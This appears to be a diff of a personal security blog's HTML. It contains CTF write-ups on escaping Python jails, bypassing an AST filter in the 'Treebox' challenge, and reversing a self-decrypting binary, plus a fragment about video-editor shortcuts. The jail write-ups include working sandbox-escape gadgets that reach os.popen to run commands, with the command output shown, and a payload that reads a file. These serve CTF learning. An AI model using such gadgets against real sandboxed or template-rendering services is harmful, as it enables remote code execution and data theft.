Here&rsquo;s the gist of it:'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Dec 9, 2021 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Gadgeting in Python Jails</h1></hgroup><section class=post-content data-pagefind-body><p>We&rsquo;ve all been there. That one CTF that wants to test your object oriented skills by confining you to a python jail.
Additionally some might even keep <code>builtins</code> and <code>eval</code> out of reach.</p><p><a href="https://www.youtube.com/watch?v=SN6EVIG4c-0">Here</a> is a cool video explanation by @pwnfunction on server side template
injection wherein he mentions a way to &ldquo;gadget&rdquo; our way out of Flask&rsquo;s Jinja2 backend to get remote code execution.</p><p>Here&rsquo;s the gist of it:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>__class__
injection wherein he mentions a way to &ldquo;gadget&rdquo; our way out of Flask&rsquo;s Jinja2 backend to get remote code execution.</p><p>Here&rsquo;s the gist of it:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>__class__
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>__base__
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>__subclasses__()[<span style=color:#ae81ff>141</span>]
</span></span><span style=display:flex><span><span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span>
@@ -24,7 +24,7 @@ itself. After accessing the <code>os</code> module, we can invoke its methods. H
AttributeError: &#39;wrapper_descriptor&#39; object has no attribute &#39;__globals__&#39;
</code></pre><p><em>What!? Does it not work?</em></p><p>I noticed a similar behavior in CTFs that had python jails. It turns out that the index of the <code>warnings.catch_warnings</code>
class varies from one version to the other in python. A better idea would be if we dynamically picked the class from
the <code>''.__class__.__base__.__subclasses__()</code> list instead of hardcoding the index as <code>141</code>.</p><p>We can modify the gadget like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>next(
the <code>''.__class__.__base__.__subclasses__()</code> list instead of hardcoding the index as <code>141</code>.</p><p>We can modify the gadget like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>next(
</span></span><span style=display:flex><span> filter(
</span></span><span style=display:flex><span> <span style=color:#66d9ef>lambda</span> x: <span style=color:#e6db74>&#39;catch_warnings&#39;</span> <span style=color:#f92672>==</span> x<span style=color:#f92672>.</span>__name__,
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>__class__<span style=color:#f92672>.</span>__base__<span style=color:#f92672>.</span>__subclasses__()
@@ -35,7 +35,7 @@ the <code>''.__class__.__base__.__subclasses__()</code> list instead of hardcodi
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>popen(<span style=color:#e6db74>&#39;id&#39;</span>)<span style=color:#f92672>.</span>read()
</span></span></code></pre></div><p>which results in the following:</p><pre tabindex=0><code>uid=1000(h) gid=1000(h) groups=1000(h),970(docker),998(wheel)
</code></pre><p>This solves the problem but what do we do when the jail restricts access to <code>warnings.catch_warnings</code>?</p><p>Expanding upon the aforementioned idea, we can look for other subclasses which make use of <code>sys</code>
by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>names <span style=color:#f92672>=</span> list()
by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>names <span style=color:#f92672>=</span> list()
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> <span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>__class__<span style=color:#f92672>.</span>__base__<span style=color:#f92672>.</span>__subclasses__():
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> hasattr(x<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span>, <span style=color:#e6db74>&#39;__globals__&#39;</span>)
</span></span><span style=display:flex><span> <span style=color:#f92672>and</span> x<span style=color:#f92672>.</span><span style=color:#a6e22e>__init__</span><span style=color:#f92672>.</span>__globals__<span style=color:#f92672>.</span>get(<span style=color:#e6db74>&#39;sys&#39;</span>):
@@ -43,7 +43,7 @@ by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> pprint <span style=color:#f92672>import</span> pprint
</span></span><span style=display:flex><span>pprint(names)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>[<span style=color:#e6db74>&#39;_ModuleLock&#39;</span>,
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>[<span style=color:#e6db74>&#39;_ModuleLock&#39;</span>,
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;_DummyModuleLock&#39;</span>,
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;_ModuleLockManager&#39;</span>,
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;ModuleSpec&#39;</span>,
@@ -65,7 +65,7 @@ by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;_GeneratorContextManagerBase&#39;</span>,
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;_BaseExitStack&#39;</span>]
</span></span></code></pre></div><p>Now that we have potential subclasses to latch onto, we can weaponize this.</p><p>The initial plan was to look for any of the above subclasses in the list, get a handle to one
of them, thereby executing the system commands.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>next(
of them, thereby executing the system commands.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>next(
</span></span><span style=display:flex><span> filter(
</span></span><span style=display:flex><span> <span style=color:#66d9ef>lambda</span> x: x<span style=color:#f92672>.</span>__name__ <span style=color:#f92672>in</span> [
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;_ModuleLock&#39;</span>, <span style=color:#e6db74>&#39;_DummyModuleLock&#39;</span>,
@@ -86,7 +86,7 @@ of them, thereby executing the system commands.</p><div class=highlight><pre tab
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>__globals__[<span style=color:#e6db74>&#39;sys&#39;</span>]
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#39;os&#39;</span>]
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>popen(<span style=color:#e6db74>&#39;id&#39;</span>)<span style=color:#f92672>.</span>read()
</span></span></code></pre></div><p>However, it would be better if we did not hardcode the values.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>next(
</span></span></code></pre></div><p>However, it would be better if we did not hardcode the values.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>next(
</span></span><span style=display:flex><span> filter(
</span></span><span style=display:flex><span> <span style=color:#66d9ef>lambda</span> x:
</span></span><span style=display:flex><span> hasattr(

View File

@@ -1,26 +1,26 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Treebox - lavafroth</title><meta name=description content='This challenge asks for python code as an input, converts it into an AST (abstract syntax tree) and if there aren&rsquo;t any function calls or imports, executes the code.
Our goal here is to avoid explicitly calling any functions yet reading the flag located at flag. We also can&rsquo;t import any modules explicitly.
The source code provided with the challenge imports the sys module giving us an opportunity to chain its functionalities.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 19, 2022 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Treebox</h1></hgroup><section class=post-content data-pagefind-body><p>This challenge asks for python code as an input, converts it into an AST (abstract syntax tree) and if there aren&rsquo;t any function calls or imports, executes the code.</p><p>Our goal here is to avoid explicitly calling any functions yet reading the flag located at <code>flag</code>. We also can&rsquo;t import any modules explicitly.</p><p>The source code provided with the challenge imports the <code>sys</code> module giving us an opportunity to chain its functionalities.</p><p>To do so, we find all the modules in <code>sys.modules</code> that have a <code>get_data</code> like
function in their <code>__loader__</code> attribute. We run the following locally:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> sys
function in their <code>__loader__</code> attribute. We run the following locally:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> sys
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> name, handle <span style=color:#f92672>in</span> sys<span style=color:#f92672>.</span>modules<span style=color:#f92672>.</span>items():
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> loader <span style=color:#f92672>:=</span> getattr(handle, <span style=color:#e6db74>&#39;__loader__&#39;</span>):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> loader_function_name <span style=color:#f92672>in</span> dir(loader):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#e6db74>&#39;get_data&#39;</span> <span style=color:#f92672>in</span> loader_function_name:
</span></span><span style=display:flex><span> print(<span style=color:#e6db74>f</span><span style=color:#e6db74>&#34;sys.modules[&#39;</span><span style=color:#e6db74>{</span>name<span style=color:#e6db74>}</span><span style=color:#e6db74>&#39;].__loader__.</span><span style=color:#e6db74>{</span>loader_function_name<span style=color:#e6db74>}</span><span style=color:#e6db74>&#34;</span>)
</span></span></code></pre></div><p>There are a lot of modules that have the <code>get_data</code> From the output we get, this looks the most promising:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>sys<span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#34;code&#34;</span>]<span style=color:#f92672>.</span>__loader__<span style=color:#f92672>.</span>get_data
</span></span></code></pre></div><p>Now we can slowly assemble our exploit.</p><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><blockquote><p>Note: To run this locally we must <code>import sys</code></p></blockquote><p>We create a class called <code>Read</code> that inherits from the <code>BaseException</code> class.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
</span></span></code></pre></div><p>There are a lot of modules that have the <code>get_data</code> From the output we get, this looks the most promising:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>sys<span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#34;code&#34;</span>]<span style=color:#f92672>.</span>__loader__<span style=color:#f92672>.</span>get_data
</span></span></code></pre></div><p>Now we can slowly assemble our exploit.</p><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><blockquote><p>Note: To run this locally we must <code>import sys</code></p></blockquote><p>We create a class called <code>Read</code> that inherits from the <code>BaseException</code> class.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
</span></span></code></pre></div><p>We define the members of the class as the following:</p><p>Set the addition operator to the <code>str</code> function to stringify bytes-like
objects.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__add__</span> <span style=color:#f92672>=</span> str
objects.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__add__</span> <span style=color:#f92672>=</span> str
</span></span></code></pre></div><p>Set the division operator to os.loader.get_data method
which can be used to read the raw bytes from a file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__truediv__</span> <span style=color:#f92672>=</span> sys<span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#34;code&#34;</span>]<span style=color:#f92672>.</span>__loader__<span style=color:#f92672>.</span>get_data
</span></span></code></pre></div><p>Set the indexing operator to print, which we&rsquo;ll use to print the flag</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__getitem__</span> <span style=color:#f92672>=</span> print
which can be used to read the raw bytes from a file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__truediv__</span> <span style=color:#f92672>=</span> sys<span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#34;code&#34;</span>]<span style=color:#f92672>.</span>__loader__<span style=color:#f92672>.</span>get_data
</span></span></code></pre></div><p>Set the indexing operator to print, which we&rsquo;ll use to print the flag</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#a6e22e>__getitem__</span> <span style=color:#f92672>=</span> print
</span></span></code></pre></div><p>Now we need to detonate these operators without calling a function.
The best way is to define an <code>__init__</code> constructor method that is called implicitly when the
class is created.</p><p>Through this, we read the raw bytes of the file &ldquo;flag&rdquo; stringify it and finally print it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#66d9ef>def</span> <span style=color:#a6e22e>__init__</span>(self):
class is created.</p><p>Through this, we read the raw bytes of the file &ldquo;flag&rdquo; stringify it and finally print it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span> <span style=color:#66d9ef>def</span> <span style=color:#a6e22e>__init__</span>(self):
</span></span><span style=display:flex><span> self[self <span style=color:#f92672>+</span> self <span style=color:#f92672>/</span> <span style=color:#e6db74>&#34;flag&#34;</span>]
</span></span></code></pre></div><p>With all of that setup out of the way, we can instantiate the class by raising it as an exception.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>raise</span> Read
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
</span></span></code></pre></div><p>With all of that setup out of the way, we can instantiate the class by raising it as an exception.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>raise</span> Read
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__add__</span> <span style=color:#f92672>=</span> str
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__truediv__</span> <span style=color:#f92672>=</span> sys<span style=color:#f92672>.</span>modules[<span style=color:#e6db74>&#34;code&#34;</span>]<span style=color:#f92672>.</span>__loader__<span style=color:#f92672>.</span>get_data
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__getitem__</span> <span style=color:#f92672>=</span> print
@@ -29,7 +29,7 @@ class is created.</p><p>Through this, we read the raw bytes of the file &ldquo;f
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>raise</span> Read
</span></span></code></pre></div><div class=container></div></div><h3 id=update-2025-09-15>Update: 2025-09-15</h3><p>I was lurking through my past writeups, here&rsquo;s an even easier way to achieve the
same file read independent of the <code>sys</code> module.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
same file read independent of the <code>sys</code> module.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Read</span>(<span style=color:#a6e22e>BaseException</span>):
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__add__</span> <span style=color:#f92672>=</span> list
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__truediv__</span> <span style=color:#f92672>=</span> open
</span></span><span style=display:flex><span> <span style=color:#a6e22e>__getitem__</span> <span style=color:#f92672>=</span> print

View File

@@ -4,10 +4,10 @@ code jumps to. If the characters don&rsquo;t match, the logic short-circuits and
This process of checking the character and decrypting the next branch continues like opening up a Matryoshka doll until
the last branch which returns instead of calling the decryption subroutine.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Sep 7, 2023 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Headache</h1></hgroup><section class=post-content data-pagefind-body><p>This challenge involves reverse engineering a polymorphic binary, one that modifies its own instructions during runtime.</p><p>Essentially, the binary checks if the current character equals a known value and <em>xor</em> decrypts the next section where the
code jumps to. If the characters don&rsquo;t match, the logic short-circuits and the program exits.</p><p>This process of checking the character and decrypting the next branch continues like opening up a Matryoshka doll until
the last branch which returns instead of calling the decryption subroutine.</p><p>To begin, we need to have radare2 installed. Next, we will create a Python virtual environment and install the r2pipe package.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>python -m venv env
the last branch which returns instead of calling the decryption subroutine.</p><p>To begin, we need to have radare2 installed. Next, we will create a Python virtual environment and install the r2pipe package.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>python -m venv env
</span></span><span style=display:flex><span>source env/bin/activate <span style=color:#75715e># or activate.fish in my case</span>
</span></span><span style=display:flex><span>pip install r2pipe
</span></span></code></pre></div><p>We download the <code>headache</code> binary and place the following script in our working directory:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> sys
</span></span></code></pre></div><p>We download the <code>headache</code> binary and place the following script in our working directory:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> sys
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> shutil
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> binascii
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> r2pipe
@@ -134,7 +134,7 @@ the last branch which returns instead of calling the decryption subroutine.</p><
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>print(<span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>join(map(chr, flag)))
</span></span></code></pre></div><p>Note that we begin our binary parsing from the address <code>0x401290</code> since that is where the first condition and subsequent decryptions begin.
We also allocate a list of 61 <code>None</code> singletons since the program exits if the input has a length other than 61.</p><p>Finally, we can run our script.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>python main.py
We also allocate a list of 61 <code>None</code> singletons since the program exits if the input has a length other than 61.</p><p>Finally, we can run our script.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>python main.py
</span></span></code></pre></div><p>Since Python is quite slow and my solution is not elegant, it will take anywhere between 2 to 4 minutes to decrypt all the sections. After this, we get the flag.</p><pre tabindex=0><code>amateursCTF{i_h4v3_a_spli77ing_headache_1_r3qu1re_m04r_sl33p}
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>

View File

@@ -11,7 +11,7 @@ voiceover and video editing.</p><p>At some point, the frustration kicked in when
the cursor. While the cursor can be a nice tool in many cases, some actions like removing the space between two clips are better
suited for keyboard shortcuts. So that week, I learned the keybindings of my video editor, Kdenlive.</p><p>I also changed the keybindings for a lot of actions like snapping the playhead to the start or end of a clip as <code>a</code> and <code>d</code> respectively.
